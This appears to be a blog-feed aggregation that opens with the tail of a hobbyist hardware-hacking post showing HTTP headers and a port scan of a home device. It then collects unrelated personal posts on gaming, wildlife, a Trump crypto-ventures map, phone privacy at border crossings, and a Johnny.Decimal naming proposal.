Date: Tue, 28 Jul 2026 20:14:07 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: keep-alive
Cache-Control: no-cache
Content-Security-Policy:
Location: http://192.168.1.201/users/sign_in
Nel: {"max_age": 0}
Permissions-Policy: interest-cohort=()
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-Gitlab-Meta: {"correlation_id":"01KYN5SXMW6YDPK131DD9G3X88","version":"1"}
X-Permitted-Cross-Domain-Policies: none
X-Request-Id: 01KYN5SXMW6YDPK131DD9G3X88
X-Runtime: 0.040059
X-Ua-Compatible: IE=edge
X-Xss-Protection: 1; mode=block
Strict-Transport-Security: max-age=63072000
Referrer-Policy: strict-origin-when-cross-origin
</code></pre></div></div>
<p>Of course this Wifi allows to interact with network services exposed by the Homebase itself… although I’ll research more this side once I can dump the firmware <strong>}:P</strong></p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">Not shown</span><span class="pi">:</span> <span class="s">65341 closed tcp ports (conn-refused)</span>
<span class="s">PORT STATE SERVICE REASON VERSION</span>
<span class="s">53/tcp open domain syn-ack dnsmasq </span><span class="m">2.90</span>
<span class="s">554/tcp open rtsp syn-ack</span>
<span class="s">9000/tcp open cslistener? syn-ack</span>
<span class="s">10400/tcp open unknown syn-ack</span>
<span class="s">10402/tcp open unknown syn-ack</span>
<span class="s">10404/tcp open unknown syn-ack</span>
<span class="s">10600/tcp open tcpwrapped syn-ack</span>
<span class="s">20030/tcp open unknown syn-ack</span>
<span class="s">20031/tcp open unknown syn-ack</span>
<span class="s">32290/tcp open tcpwrapped syn-ack</span>
<span class="s">32292/tcp open tcpwrapped syn-ack</span>
<span class="s">32293/tcp open unknown syn-ack</span>
<span class="s">32295/tcp open unknown syn-ack</span>
<span class="s">32392/tcp open tcpwrapped syn-ack</span>
<span class="s">43928/tcp open unknown syn-ack</span>
</code></pre></div></div>
<h1 id="0x05-final-words">0x05 Final words</h1>
<p>It has been two years since I last wrote on this blog. During that time, I’ve done some research, but it was always related to my work as a Red Teamer (and, honestly, it had become increasingly dismal). Being able to rediscover the feeling of “hacking” something just for fun, and spending hours researching purely for the joy of learning, has been amazing. I’ve reconnected with my old inner owl.</p>
<p>I hope you enjoyed this reading! Feel free to give us feedback at our twitter <a href="https://twitter.com/AdeptsOf0xCC">@AdeptsOf0xCC</a>.</p>
Teardown 2026 - Hey, it's Jason!
https://grepjason.sh/2026/teardown-2026
2026-07-28T00:00:00.000Z
A quick recap of my attendance of the Teardown 2026 conference!
Wonders of Web Weaving, Episode 12 - James' Coffee Blog
https://jamesg.blog/2026/07/28/www-12
2026-07-28T00:00:00.000Z
<p><a href="https://web-weaving.jamesg.blog/12" rel="noreferrer">The twelfth episode of Wonders of Web Weaving is out</a>:</p><blockquote>In Episode 12, I chat with <a href="https://hey.georgie.nu">Georgie</a>, the author of <a href="https://hey.georgie.nu">Hey Georgie</a> about, among other things, writing about travelling, blogging as a self-reflection tool, why someone should start a personal website today, and more.</blockquote><p>I hope you enjoy the episode!</p><p><a href="https://web-weaving.jamesg.blog/subscribe/" rel="noreferrer"><em>Wonders of Web Weaving also has an RSS feed</em></a><em> you can use to follow along from wherever you get your podcasts.</em></p>
<a class="tag" href="https://hey.georgie.nu">Georgie</a>
<a class="tag" href="https://hey.georgie.nu">Hey Georgie</a>
<a class="tag" href="https://web-weaving.jamesg.blog/12">The twelfth episode of Wonders of Web Weaving is out</a>
<a class="tag" href="https://web-weaving.jamesg.blog/subscribe/">Wonders of Web Weaving also has an RSS feed</a>
RetroAchievements, a football match, and visits - W30 - Joel's Log Files
https://joelchrono.xyz/blog/w30
2026-07-27T21:10:00.000Z
<p>It feels like not a lot happened this week. My workplace has been rather boring, my gym-going is pretty standard, there were a lot of things happening on my gaming side, and such, but well, here’s a summary of things.</p>
<p>Oh right, the weather. This week was rather sunny for once, seems like the rainy days are coming to an end, at least for now. Did I mention my house flooded for like three days? It was only in short periods though but they were quite frantic moments. Basically water rose from the toilet and the shower drain. There was something stuck in the plumbing (I think they were tree roots) which made things a mess. Thankfully the water wasn’t really dirty nor stinky, we just had to do open the door while it rained and lead the water outside. All of that happened in previous weeks though, not this one.</p>
<ul>
<li>
<p>🕹️ I set-up RetroAchievements on my Anbernic handheld, I tried plenty of games because of it which I’ll mention later. In case you are curious, I simply installed the <a href="">RAOfflineProxy</a> and followed the instructions from the repo, after logging in to my account in the device, I had no issues whatsoever. Great stuff!</p>
</li>
<li>
<p>📷 I figured out how to take screenshots with my modded Nintendo 3DS, you just hold L + Down + SELECT, and that opens up the Luma menu, from where you can take a screenshot! I then used SFTP to transfer those files to my phone. I do admit I still prefer taking pictures of my 3DS, The screen looks better, as the screenshots are rather low res.</p>
</li>
<li>
<p>🌮 There have been be a lot of family and friend visits this week. These are friends I had not seen for five or so years, it was nice to catch up a bit. We went out to a few restaurants and had some of the local snacks and the like, you know, touristy stuff for people visiting our city. Had a lot of fun!</p>
</li>
<li>
<p>🚲 Because of all the visits, this is the first time where I did not go cycling at all. This was a bit sad but I don’t feel bad about it that much, because I replaced it with another exercise, which I’ll mention below…</p>
</li>
<li>
<p>⚽ For the first time in ages, I played football with some kids in the block. I rarely do this but they were just two kids (like 15 or so years old) and they seemed to be looking for a <em>cascarita</em>—that’s how Mexicans refer to street football games, another term would be <em>“retas”</em>—we played for almost two hours and it was really awesome! I was terrible though, it was just a quick 3 vs 3 and although I scored half a dozen goals, they’d score like, 20+, I was teaming up with the oldest kid and the younger ones were ruining us. I had fun nonetheless.</p>
</li>
<li>
<p>🎧 Gotta say I have finally started to listen to some more episodes of the <em>Wolf 359</em> podcast drama and I got to some of my favorites of the whole show! I am really looking forward to completing it again.</p>
</li>
<li>
<p>🎵 Also I’m still working on my review of <em>Transistor</em> but I purchased the soundtrack on Bandcamp!</p>
</li>
</ul>
<figure>
<img src="/assets/img/blogs/2026-07-27-week.webp" />
<figcaption>Collage of the week!<figcaption />
</figure>
## Gaming
My gaming has been a mess this week, in the best way possible.
Right when I thought I would have plenty to play with on my 3DS, I decided it would be a good idea to set-up offline RetroAchievements on my Anbernic handheld. Once I had the proxy working, I went on a quest to try out some games!
The first one was **Astro Boy: Omega Factor**, one of those Game Boy Advance games that have a lot going on. I have already played it for hours before, and reached its final stage, however, this game has multiple endings and some tricks up its sleeve, don't sleep on it! Not your regular beat'em up at all. In any case, RetroAchievements worked!
After that I tried some other shorter titles, such as **Donkey Kong (1994)**, which I had never tried---when I did I lost all my lives in the first stage---so I started over and have had way too much fun! The pixelart and the music, the mechanics are all there! Truly lovely game for coffee breaks and quick two-minute sessions.
Another title Game Boy game I tried out of nowhere was a homebrew game called [**Jabberwocky**](), you can get this one from itch and it's just a short little story that takes about 20 minutes to complete. There is like one or two puzzles and it's mostly all about the character and writing. It was very fun and got me to laugh a bit, and it had achievements!
The last of my geek time was spent installing [Dusklight](), a reverse-engineered port of **The Legend of Zelda: Twilight Princess** that works on Linux like a charm. I only saw the starting menu and the first dialogue box, I closed the game soon after, ready to go whenever I'm up for it.
The one game that caught my eye the most this week was **The Legend of Zelda: Ocarina of Time**. There's a reason I ended up writing a whole post [about the beginning hours of the game](/blog/return-to-oot/) sharing my experience and comparing it to when I played it as a youngling. I've made so much progress and I truly love the experience so far. After the post I have already completed the Dodongo Cavern dungeon, obtained all the Great Fairy powers a truly timeless game already, for real!
That isn't to say that my interest for **Fire Emblem Awakening** has diminished in any way! Since I'm playing Ocarina along with Syl, I wait for her to catch up while I return to this one. I have made a few more battles and leveled up a lot of characters that haven't seen enough attention from me. I have been focusing on Sumia and Stahl, two characters that weren't even level 10 for a while. I pair them up with high level characters and play on Auto mode in some of the low level battles in the map. Of course, I also progressed through the main story, unlocked one more paralogue (I have like three pending) and reached chapter 19 of the main plot. It's been an entertaining journey!
## Watching
It's finally out, the one and only **Avatar Aang: The Last Airbender** on *Paramount+*! I decided to wait and pay to check this one out, and I must say, it was absolutely incredible! The animation team did their absolute best in every frame of this film, it was a joy to see the gaang together saving the world once more.
Don't get me wrong, the film has some issues and it is carried by nostalgia in some of those, but that doesn't make it any less epic for me, I love the Avatarverse (not the James Cameron one, though it has earned its place by now I think) and I want more works based on this franchise. Epic stuff, it healed me, removing the bad taste the Live Action show has left in me so far. I really wish they eventually give it a proper release on theaters, it really deserves a watch on the big screen.
## Reading
- ✨ **Centuria** by Tori Kuramori - Up to chapter 2. It's about a young man sold to slavery, who experiences kindness for the first time while sailing across the sea, with another hundred slaves. However, a storm wreaks havoc, a cruel deal with a god is made, and he is given extraordinary power, at the cost of an innocent life. He will use this strength obtained through to fight for a better life and protect a baby, the only other survivor left in his care. So far I enjoy the art and the plot, and we'll see how the story evolves over time....
- **Blue Lock** - Up to chapter 354. The match against England is finally going to start, so I am looking forward to that. The pacing has been quite slow as the set-up was being done, but I'm looking forward to see what happens!
- **Uncle from Another World** - Up to chapter 25. I forget how this manga has chapters above 30+ pages long, only three were read but it continues to be very funny to me.
## Around the Web
### Blog posts
- [I Don’t Think I Can Accept Roblox](https://discardpile.pika.page/posts/i-dont-think-i-can-accept-roblox) - A pretty nuanced article on one of the most popular videogames of modern years. It's a long one!
- [Postliterate America](https://janerationx.me/posts/postliterate-america) - Once again, *The Machine Stops* by E.M. Forster continues to predict how things would end up for us. Great post.
- [January 8th, 2020](https://brandons-journal.com/post/january-8th-2020) - An incredible trip to the past, when Brandon started his blog and when he tried to keep his blog positive and fun. This has been challenging to keep up for him lately, but he still wants to.
- [Not Logging, Just Blogging](https://syls.blog/not-logging-just-blogging/) - Syl has had a difficult time keeping up with tracking absolutely everything and has decided to step away from trying to do something she doesn't enjoy as much, totally valid! Especially if it means the few games and media mentioned are those that she truly loves!
- [I Guess I'm Playing The Long Game Now](https://brainbaking.com/post/2026/07/i-guess-im-playing-the-long-game-now/) - Wouter has been having some parenting issues, dealing with the pressure of it all. I am no father and I'm not close to being one, but I appreciate his outlook on this post.
### YouTube
Once again, too many videos to really explain here, just a short one liner once again.
- [Games That Are Beyond Comparison](https://youtu.be/w3vdfjMFII4) - Featuring 13 Sentinels and some others.
- [The Last Honest Movie Star](https://youtu.be/1leVuo5M6w4) - Surprisingly awesome documentary on Matt Damon.
- [I Made “Elden Ring” on the N64 (And you can play it)](https://youtu.be/wgg7pXWg3h4) - This looks incredible though it's a single boss.
- [Should you buy a $1 PS3?](https://youtu.be/rvjhRmXramc) - The answer is yes and now I'm in danger.
- [Why the Ice Arrows Accidentally Became Useless](https://youtu.be/vusoGpkndDo) - On some hints at early plans for Ocarina of Time that were scrapped.
- [Perfect Coffee Break Games](https://youtu.be/_RPiYvEvesE) - Short retro games to play.
- [Zelda But it's a Modern Game (FULL MOVIE)](https://youtu.be/rIssjB5S6mM) - This is a trainwreck I couldn't stop watching.
- [I Tried to Beat the First Zelda Completely Blind](https://youtu.be/93zjLkJmT5k) - A very entertaining playthrough.
This is day 4 of [#100DaysToOffload](https://100daystooffload.com)
</figcaption></figure>
<p>
<a href="mailto:me@joelchrono.xyz?subject=RetroAchievements, a football match, and visits - W30">Reply to this post via email</a> |
<a href="https://fosstodon.org/@joel/116994515118997963">Reply on Fediverse</a>
</p>
📝 2026-07-27 17:54: The poor buzzard was still there when I was walking the dogs this morning, so... - Kev Quirk
https://kevquirk.com/2026-07-27-1754
2026-07-27T16:54:00.000Z
<p>The poor buzzard was still there when I was walking the dogs this morning, so clearly something was wrong. Luckily my wife was able to get hold of a local falconer who was able to catch him and hopefully nurse him back to health. 🦅</p>
<p><img loading="lazy" src="https://kevquirk.com/content/images/2026-07-27-1754/1000010707.webp" alt="1000010707" /></p>
<p><img loading="lazy" src="https://kevquirk.com/content/images/2026-07-27-1754/1000010708.webp" alt="1000010708" /></p> <div class="email-hidden">
<hr />
<p>Thanks for reading this post via RSS. RSS is ace, and so are you. ❤️</p>
<p>You can <a href="mailto:19gy@qrk.one?subject=%F0%9F%93%9D%202026-07-27%2017%3A54">reply to this post by email</a>, or <a href="https://kevquirk.com/2026-07-27-1754#comments">leave a comment</a>.</p>
</div>
Published on Citation Needed: "Mapping Trump’s crypto empire on Last Week Tonight" - Molly White's activity feed
6a67698c91f30f1ebee3aa6b
2026-07-27T14:22:04.000Z
<article class="entry h-entry hentry"><header><div class="description">Published an issue of <a href="https://www.citationneeded.news/"><i>Citation Needed</i></a>: </div><h2 class="p-name"><a class="u-syndication" href="https://www.citationneeded.news/mapping-trumps-crypto-empire" rel="syndication">Mapping Trump’s crypto empire on Last Week Tonight </a></h2></header><div class="content e-content"><div class="media-wrapper"><a href="https://www.citationneeded.news/mapping-trumps-crypto-empire"><img src="https://www.citationneeded.news/content/images/2026/07/Screenshot-2026-07-27-at-9.41.37---AM.png" alt="John Oliver speaking on Last Week Tonight, gesturing to an overlay of my web of the Trump family’s crypto businesses."/></a></div><div class="p-summary"><p>A new Citation Needed data project maps the Trump family’s web of cryptocurrency ventures, which have been generating billions in income for the president.</p></div></div><footer class="footer"><div class="flex-row post-meta"><div class="timestamp">Posted: <a class="u-url" href="https://www.citationneeded.news/mapping-trumps-crypto-empire"><time class="dt-published" datetime="2026-07-27T14:22:04+00:00" title="July 27, 2026 at 2:22 PM UTC">July 27, 2026 at 2:22 PM UTC</time>. </a></div><div class="social-links"> </div></div><div class="bottomRow"><div class="tags"></div></div></footer></article>
Mapping Trump’s crypto empire on Last Week Tonight - Molly White's activity feed
6a6764bce56629fdfee2f2a5
2026-07-27T14:01:32.000Z
<article><div class="entry h-entry hentry"><header><h2 class="p-name">Mapping Trump’s crypto empire on Last Week Tonight</h2><br/></header><div class="content e-content"><p>My newest Citation Needed project made an appearance on <i>Last Week Tonight with John Oliver</i>! It’s a work in progress, but you can see the new interactive version of my map of the Trump family’s crypto ventures at <a href="https://map.citationneeded.news/">map.citationneeded.news</a>.</p><div class="media-wrapper"><a href="https://storage.mollywhite.net/micro/2ca4d15b3785073316af_Screenshot-2026-07-27-at-9.41.37---AM.png" data-fslightbox=a5cf12f05167ad81c0a9><img src="https://storage.mollywhite.net/micro/2ca4d15b3785073316af_Screenshot-2026-07-27-at-9.41.37---AM.png" alt="John Oliver speaking on Last Week Tonight, gesturing to an overlay of my web of the Trump family’s crypto businesses. The subtitles say “keeping track of them have wound up making diagrams like this”." /></a></div><p>The map contains hundreds of business entities and links to the Trump family (with more being added!), augmented with data from the president’s most recent financial filings to estimate how much money is flowing in. It will be queryable by other researchers and journalists.</p><p>Click any node or connection in the Trump crypto empire map to open its panel and view explanatory annotations and citations. Toggle the income overlay to see financial-disclosure figures from the most recent filings. Search for entities, or filter by category.</p><div class="media-wrapper"><a href="https://storage.mollywhite.net/micro/e6b77f3c404d1d355be6_Screenshot-2026-07-27-at-10.03.11---AM.png" data-fslightbox=d1bc390fffac251b6081><img src="https://storage.mollywhite.net/micro/e6b77f3c404d1d355be6_Screenshot-2026-07-27-at-10.03.11---AM.png" alt="A screenshot of the map, with a side panel open showing Donald J. Trump Revocable Trust. Side panel contents: Donald J. Trump Revocable Trust Intermediary Entity When Walter Shaub, then Director of the Office of Government Ethics, called on President Trump to divest from the Trump Organization during his first term, Trump instead transferred his operating businesses to the Donald J. Trump Revocable Trust. Many had urged him to use a blind trust. Critics argued the DJT Revocable Trust fell far short of that standard: Trump remained the sole beneficiary, his son controlled the assets, and Trump could revoke the arrangement at any time. Shaub later commented that the arrangement was “meaningless from a conflict of interest perspective” and that “setting up a trust to hold his operating businesses adds nothing to the equation. This is not a blind trust—it’s not even close.” Established 2014 Sources ↗ Stenglein, Christine, "OGE Director warns Trump’s business plan insufficient", The Brookings Institution, January 11, 2017 ↗ Craig, Susanne, and Eric Lipton, "Trust Records Show Trump Is Still Closely Tied to His Empire", The New York Times, February 3, 2017 ↗ Kravitz, Derek, and Al Shaw, "Trump Lawyer Confirms President Can Pull Money From His Businesses Whenever He Wants", ProPublica, April 4, 2017 ←controlled by Donald Trump Jr. According to a 2024 regulatory filing, Donald Trump Jr. "is the sole trustee and has sole voting and" /></a></div><p>Subscriber support is what makes data projects like the Trump empire map and <a href="https://influence.citationneeded.news/">Tech Influence Watch</a> possible — work that goes beyond the newsletter itself. <a href="https://www.citationneeded.news/signup">You can join them</a>!</p><iframe width="580" height="320" src="https://www.youtube-nocookie.com/embed/A9iZ10yIRwM" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></div><footer class="footer"><div class="flex-row post-meta"><div class="timestamp-block"><div class="timestamp">Posted: <a class="u-url" href="https://www.mollywhite.net/micro/entry/202607270958"><time class="dt-published" datetime="2026-07-27T14:01:32+00:00" title="July 27, 2026 at 2:01 PM UTC">July 27, 2026 at 2:01 PM UTC</time>. </a></div><div class="timestamp">Updated <time class="dt-updated" datetime="2026-07-27T14:12:35+00:00" title="July 27, 2026 at 2:12 PM UTC">July 27, 2026 at 2:12 PM UTC</time>.</div></div><div class="social-links"> <span> Also posted to: </span><a class="social-link u-syndication mastodon" href="https://hachyderm.io/@molly0xfff/116992284596853424" title="Mastodon" rel="syndication">Mastodon, </a><a class="social-link u-syndication bluesky" href="https://bsky.app/profile/molly.wiki/post/3mrn2d63p5226" title="Bluesky" rel="syndication">Bluesky</a></div></div><div class="bottomRow"><div class="tags">Tagged: <a class="tag p-category" href="https://www.mollywhite.net/micro/tag/crypto" title="See all micro posts tagged "crypto"" rel="category tag">crypto</a>, <a class="tag p-category" href="https://www.mollywhite.net/micro/tag/donald_trump" title="See all micro posts tagged "Donald Trump"" rel="category tag">Donald Trump</a>, <a class="tag p-category" href="https://www.mollywhite.net/micro/tag/trump_administration" title="See all micro posts tagged "Trump administration"" rel="category tag">Trump administration</a>. </div></div></footer></div></article>
Don't bring sensitive data to a border crossing - Werd I/O
6a67646ee316780001ff205d
2026-07-27T14:00:14.000Z
<p>Link: <a href="https://www.theguardian.com/us-news/2026/jul/23/cop-city-protester-phone"><em>US government targets Cop City protester over phone operating system, by Timothy Pratt in The Guardian</em></a></p><p>This is worth knowing about and is concerning — but not necessarily for the main reason that’s being reported.</p><p>The Department of Justice is trying to prosecute Sam Tunick, an Atlanta-based activist, for allegedly using a duress password on his <a href="https://grapheneos.org/">GrapheneOS</a> phone when he crossed the border in January 2025.</p><blockquote>“Agent Findley and several others repeatedly asked Tunick to open his phone during the interrogation, telling him they would seize it if he did not. When he finally provided a passcode, “the screen went blank, flashed several times and the phone appeared to restart”, according to the motion.”</blockquote><p>The phone was wiped. According to the Department of Justice, rather than the usual unlock password, the one Tunick had provided was a signal that <a href="https://grapheneos.org/features#duress">GrapheneOS should reset the device to factory settings</a>. That’s the core issue: it’s not that he was using GrapheneOS or had set up a duress password, but he was accused of using it to reset his device rather than give his data to law enforcement when asked.</p><p>At the point where law enforcement or border protection are asking you for data, it’s your right to refuse a search, but you typically can’t actively destroy it. I’ve always understood that <a href="https://www.americanbar.org/groups/law_practice/resources/law-technology-today/2019/can-police-force-you-to-unlock-your-cell-phone/">the police can’t compel you to unlock your phone without a warrant</a>, although, unfortunately, Customs and Border Protection has an exemption around the border. If there <em>is</em> a warrant, or if CBP asks you in a border zone, you may still refuse to unlock it, but the device may be seized and held. The trick here, which Tunick’s lawyers are arguing, is that the request was unlawful to begin with.</p><p>Because Tunick was a part of Atlanta’s <a href="https://en.wikipedia.org/wiki/Stop_Cop_City">Stop Cop City protests</a>, he had been put on a terrorist watchlist; that fact was circulated just three hours prior. That flagged him for the secondary inspection that led to him being asked to unlock his phone. Protest is protected by the first amendment and a core component of democratic speech; putting protesters on a watchlist designed to protect the public against violent extremism is undemocratic. That’s even more affronting when you consider that the protest was against a police training center: the message it sends is nakedly authoritarian. Finally, and most egregiously, the questioning was about child exploitation imagery, which they had no reason to suspect him of holding. As a result, the search may not have been legal.</p><p>While a duress password is a deliberate act of destruction, the better path when crossing the border is to not have data to seize to begin with. Anyone who deals with sensitive information should consider that their phone might be taken at the border. Customs and Border Protection policy even allows agents to clone it, giving them permanent access to your data even after they hand your device back to you. They’re only supposed to do this when there’s a national security concern or reasonable suspicion of a crime — but if activists are being targeted as terrorists, that policy threshold doesn’t feel like a solid protection.</p><p>So: log out of your email, calendar, and file sharing before you embark upon your travels. Delete Signal entirely (<a href="https://support.signal.org/hc/en-us/articles/360007059752-Backup-and-Restore-Messages">but back it up</a>). Consider which photos you want to travel with. Don’t travel with a stock phone — that can lead to more questions — but intentionally cut down your information footprint. That way, even if you are stopped, you won’t compromise sources (if you’re a journalist) or your compatriots (if you’re an activist). And you’re not forced to delete data in the moment in a way that could leave you vulnerable.</p>
RFC W0192: Use of +, ~, @; clarifying extend-the-end - Johnny.Decimal
https://johnnydecimal.com/blog/0234-rfc-w0192-symbols-ete/
2026-07-27T06:12:45.000Z
<blockquote>
<p>This post is a request for comments. I am actively seeking your feedback. This feedback will influence the development of Johnny.Decimal. Feedback closes at the end of <strong>2026-07-30</strong>. Details are at the end.</p>
<p>I put this post together quickly as a result of this time constraint. (Its decisions are holding up the recording of additional <a href="https://johnnydecimal.com/jdu/taskpm">Task & Project Management</a> (T&PM) episodes.) So it's a bit rough around the edges: I'll write up something more formal when feedback is in.</p>
</blockquote>
<p>One of my goals has always been for the Johnny.Decimal system to be semi-formal. By which I mean that there are clear – almost mathematical – rules that define it.</p>
<p>This has many benefits. Clarity, obviously. Consistency. It also enables the creation of software tools to support the system: you can't write a script to validate your system if you don't have a list of rules against which to validate.</p>
<p>These rules need to survive the real world. Let's be honest: they need to survive Obsidian. Obsidian is just a nice way to view Markdown files, so really what we're saying is that these rules need to survive arbitrary text files on disk. We need to <em>imagine</em> those text files as a database, even though they're not one.</p>
<h2 id="defining-an-id">Defining an ID</h2>
<p>One such rule seems simple enough: an ID – which I'll refer to generically as an 'entry' in your system – is defined as <code>AC.ID Title</code>,<sup><a href="#user-content-fn-acid" id="user-content-fnref-acid" data-footnote-ref="" aria-describedby="footnote-label" class="footnote">1</a></sup> e.g. <code>11.11 I am ID eleven-eleven</code>.<sup><a href="#user-content-fn-md" id="user-content-fnref-md" data-footnote-ref="" aria-describedby="footnote-label" class="footnote">2</a></sup></p>
<p>From here, we already know that we need 2 more definitions:</p>
<ol>
<li>The definition of category <code>11</code>, which we store as <code>11.00 Title of category 11</code>.</li>
<li>The definition of area <code>10-19</code>, which we store as <code>10.00 Title of area 10-19</code>.<sup><a href="#user-content-fn-area-level-zero" id="user-content-fnref-area-level-zero" data-footnote-ref="" aria-describedby="footnote-label" class="footnote">3</a></sup></li>
</ol>
<h2 id="folder-structure">Folder structure</h2>
<p>You might optionally choose to store these text files in a nested folder structure.<sup><a href="#user-content-fn-system-management-zeros-not-shown" id="user-content-fnref-system-management-zeros-not-shown" data-footnote-ref="" aria-describedby="footnote-label" class="footnote">4</a></sup></p>
<pre class="astro-code astro-code-themes catppuccin-latte synthwave-84" style="--shiki-light:#4c4f69;--shiki-dark:#bbbbbb;--shiki-light-bg:#eff1f5;--shiki-dark-bg:#262335;overflow-x:auto" tabindex="0" data-language="text"><code><span class="line"><span>10-19 Area ten through nineteen/</span></span>
<span class="line"><span> └── 11 Category eleven/</span></span>
<span class="line"><span> └── 11.11 I am ID eleven-eleven.md</span></span></code></pre>
<p>In which case, ID <code>11.11</code> must be a child of folder <code>11</code>, which must in turn be a child of <code>10-19</code>.</p>
<p>But if you want to leave all your files flat in a folder, that's a style choice. It breaks no rules.</p>
<p>So far, nothing new. Just setting the scene.</p>
<h2 id="what-about-additional-notes">What about additional notes?</h2>
<p>If you've used your system for any amount of time you know that notes can get full. It can be nice to create a new file so the main file doesn't get unmanageable.</p>
<p>Let's start using a real example, Life Admin's <code>11.11 Birth certificate & proof of name</code> (which I'll shorten for convenience).</p>
<p>We just said that <code>11.11 Birth certificate</code> <em>defines the ID</em>. So I can't just create another note called <code>11.11 Notes from applying for copy of UK birth certificate</code>, because now I have 2 notes with ID <code>11.11</code>. Which one defines the ID, and which is just a note? There's no way to tell.</p>
<h2 id="proposal-1--is-used-to-indicate-a-freeform-sub-note">Proposal 1: <code>~</code> is used to indicate a freeform sub-note</h2>
<p>Any file containing notes, that is not the definition of the ID, and is not an EtE note (see below), must be named:</p>
<ul>
<li><code>AC.ID~ Arbitrary title of sub-note</code></li>
</ul>
<p><code>AC.ID Title</code> must exist, in order to define the ID.</p>
<p>Freeform sub-notes MAY NOT contain Johnny.Decimal system metadata.<sup><a href="#user-content-fn-metadata" id="user-content-fnref-metadata" data-footnote-ref="" aria-describedby="footnote-label" class="footnote">5</a></sup> All metadata is inherited from the parent ID. (You may do as you please with your own metadata/frontmatter.)</p>
<p>You may think of a sub-note as functionally identical to text inside a heading of the main note.</p>
<h3 id="valid-notes-inside-the-id-note">Valid: notes inside the ID note</h3>
<pre class="astro-code astro-code-themes catppuccin-latte synthwave-84" style="--shiki-light:#4c4f69;--shiki-dark:#bbbbbb;--shiki-light-bg:#eff1f5;--shiki-dark-bg:#262335;overflow-x:auto" tabindex="0" data-language="md"><code><span class="line"><span style="--shiki-light:#D20F39;--shiki-light-font-weight:inherit;--shiki-dark:#FF7EDB;--shiki-dark-font-weight:bold"># 11.11 Birth certificate</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#FE640B;--shiki-light-font-weight:inherit;--shiki-dark:#FF7EDB;--shiki-dark-font-weight:bold">## Notes from applying for UK copy</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#4C4F69;--shiki-dark:#FFFFFFEE">I called the service centre and spoke to Dave and he said…</span></span></code></pre>
<h3 id="equivalent-sub-note-extracted-to-its-own-file">Equivalent: sub-note extracted to its own file</h3>
<pre class="astro-code astro-code-themes catppuccin-latte synthwave-84" style="--shiki-light:#4c4f69;--shiki-dark:#bbbbbb;--shiki-light-bg:#eff1f5;--shiki-dark-bg:#262335;overflow-x:auto" tabindex="0" data-language="md"><code><span class="line"><span style="--shiki-light:#D20F39;--shiki-light-font-weight:inherit;--shiki-dark:#FF7EDB;--shiki-dark-font-weight:bold"># 11.11 Birth certificate</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#4C4F69;--shiki-dark:#FFFFFFEE">// is now an empty note</span></span></code></pre>
<pre class="astro-code astro-code-themes catppuccin-latte synthwave-84" style="--shiki-light:#4c4f69;--shiki-dark:#bbbbbb;--shiki-light-bg:#eff1f5;--shiki-dark-bg:#262335;overflow-x:auto" tabindex="0" data-language="md"><code><span class="line"><span style="--shiki-light:#D20F39;--shiki-light-font-weight:inherit;--shiki-dark:#FF7EDB;--shiki-dark-font-weight:bold"># 11.11~ Notes from applying for UK copy</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#4C4F69;--shiki-dark:#FFFFFFEE">I called the service centre and spoke to Dave and he said…</span></span></code></pre>
<h2 id="proposal-2--means-extend-the-end-defining-extend-the-end">Proposal 2: <code>+</code> means 'extend-the-end'; defining 'extend-the-end'</h2>
<p>The system has had the concept of <a href="https://johnnydecimal.com/documentation/extend-the-end-overview">extend-the-end</a> (EtE) for a few years. It's useful, but I've never been totally comfortable with its definition until now.</p>
<p>The canonical EtE example has always been your kids, in the context of the Life Admin System (LAS). There we have <code>11.11 Birth certificate</code>. You have a kid, and at 6 months it's a touch young to be managing its own Johnny.Decimal system – one day! – so you do it. How do you store the kid's birth certificate?</p>
<p>The answer is <code>11.11+ Belinda</code>.<sup><a href="#user-content-fn-or-their-own-system" id="user-content-fnref-or-their-own-system" data-footnote-ref="" aria-describedby="footnote-label" class="footnote">6</a></sup> Because she'll also need her jabs, which you'll store at <code>11.25+ Belinda</code>. Maybe you open her a savings account and you track it at <code>13.42+ Belinda</code>.</p>
<p>You can think of these extended IDs as sitting on top of your primary system; like a shadow system. You've got <em>your</em> system, and overlaid with these <code>+</code> entries you have Belinda's system. And this is why it's called <em>extend</em>-the-end. You're just giving yourself a little more room.</p>
<p>Now, to find all entries in your system that relate to Belinda, just search for <code>+ Belinda</code>.</p>
<h3 id="formalising-how-you-extend-the-end">Formalising how you extend-the-end</h3>
<p>So when should you EtE with <code>+</code>, and when should you create a sub-note with <code>~</code>? The answer is: when you'll have multiple instances of the thing through your system, use <code>+</code>, and always name them identically. Otherwise, use <code>~</code> and you are free to name them arbitrarily.</p>
<p>Our examples already demonstrate this. Will any other IDs require a note whose title is, or is even remotely like, <code>Notes from appling for UK copy of birth certificate</code>? Obviously not: use <code>~</code>.</p>
<p>Will we use <code>+ Belinda</code> over and over? We will.</p>
<h3 id="you-should-be-able-to-list-all-of-your-extend-the-ends">You should be able to list all of your extend-the-ends</h3>
<p>Your system must necessarily contain a finite number of EtEs, and you should be able to list them all. This is what makes them useful: you're defining a <em>type of sub-note</em> that you can easily filter on.</p>
<p>At home:</p>
<ul>
<li><code>+ Belinda</code>, <code>+ Marie</code>, <code>+ Wendy</code> for each of the kids.</li>
</ul>
<p>At work:</p>
<ul>
<li><code>+ Work log</code> is a note where we record the fact that we did some work on a thing; typically with a date/timestamp.
<ul>
<li>E.g. <code>21.35 JDHQ</code> has <code>21.35+ Work log</code></li>
</ul>
</li>
<li><code>+ P5 ideas</code> is a note where we record ideas that aren't solid enough to make it into our task system.<sup><a href="#user-content-fn-p5" id="user-content-fnref-p5" data-footnote-ref="" aria-describedby="footnote-label" class="footnote">7</a></sup>
<ul>
<li>E.g. <code>21.35 JDHQ</code> has <code>21.35+ P5 ideas</code></li>
</ul>
</li>
<li><code>+ Meeting minutes</code> is a note where we record minutes of meetings that relate to the ID.
<ul>
<li>E.g. if we have a meeting specifically about JDHQ we might store the minutes at <code>21.35+ Meeting minutes</code>.</li>
</ul>
</li>
</ul>
<h3 id="standards-in-waiting">Standards-in-waiting</h3>
